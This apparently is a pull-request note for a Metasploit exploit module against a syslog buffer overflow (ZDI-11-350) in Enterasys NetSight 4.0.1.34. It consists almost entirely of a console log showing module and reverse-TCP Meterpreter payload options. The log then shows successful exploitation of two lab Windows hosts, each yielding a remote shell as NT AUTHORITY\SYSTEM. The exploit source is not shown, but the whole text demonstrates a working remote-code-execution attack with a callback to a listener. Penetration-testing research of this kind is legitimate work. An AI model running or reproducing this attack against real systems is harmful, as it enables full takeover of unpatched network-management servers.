Added module for ZDI-11-350

Tested with Enterasys NetSight 4.0.1.34 on Windows XP SP3 and Windows 2003 SP2

<pre>
msf  exploit(enterasys_netsight_syslog_bof) > reload
[*] Reloading module...
msf  exploit(enterasys_netsight_syslog_bof) > show options

Module options (exploit/windows/misc/enterasys_netsight_syslog_bof):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.1.146    yes       The target address
   RPORT  514              yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.1.128    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   Enterasys NetSight 4.0.1.34 / Windows 2003 SP2


msf  exploit(enterasys_netsight_syslog_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Enterasys NetSight 4.0.1.34 / Windows XP SP3
   1   Enterasys NetSight 4.0.1.34 / Windows 2003 SP2


msf  exploit(enterasys_netsight_syslog_bof) > set target 1
target => 1
msf  exploit(enterasys_netsight_syslog_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.146:514 - Trying to exploit Enterasys NetSight 4.0.1.34 / Windows 2003 SP2...
[*] Sending stage (752128 bytes) to 192.168.1.146
[*] Meterpreter session 4 opened (192.168.1.128:4444 -> 192.168.1.146:3321) at 2013-01-03 17:26:14 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-6ED9DB6CA8
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.146 - Meterpreter session 4 closed.  Reason: User exit
msf  exploit(enterasys_netsight_syslog_bof) > set target 0
target => 0
msf  exploit(enterasys_netsight_syslog_bof) > set rhost 192.168.1.145
rhost => 192.168.1.145
msf  exploit(enterasys_netsight_syslog_bof) > exploit

[*] Started reverse handler on 192.168.1.128:4444 
[*] 192.168.1.145:514 - Trying to exploit Enterasys NetSight 4.0.1.34 / Windows XP SP3...
[*] Sending stage (752128 bytes) to 192.168.1.145
[*] Meterpreter session 5 opened (192.168.1.128:4444 -> 192.168.1.145:2839) at 2013-01-03 17:27:46 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.145 - Meterpreter session 5 closed.  Reason: User exit
msf  exploit(enterasys_netsight_syslog_bof) > 
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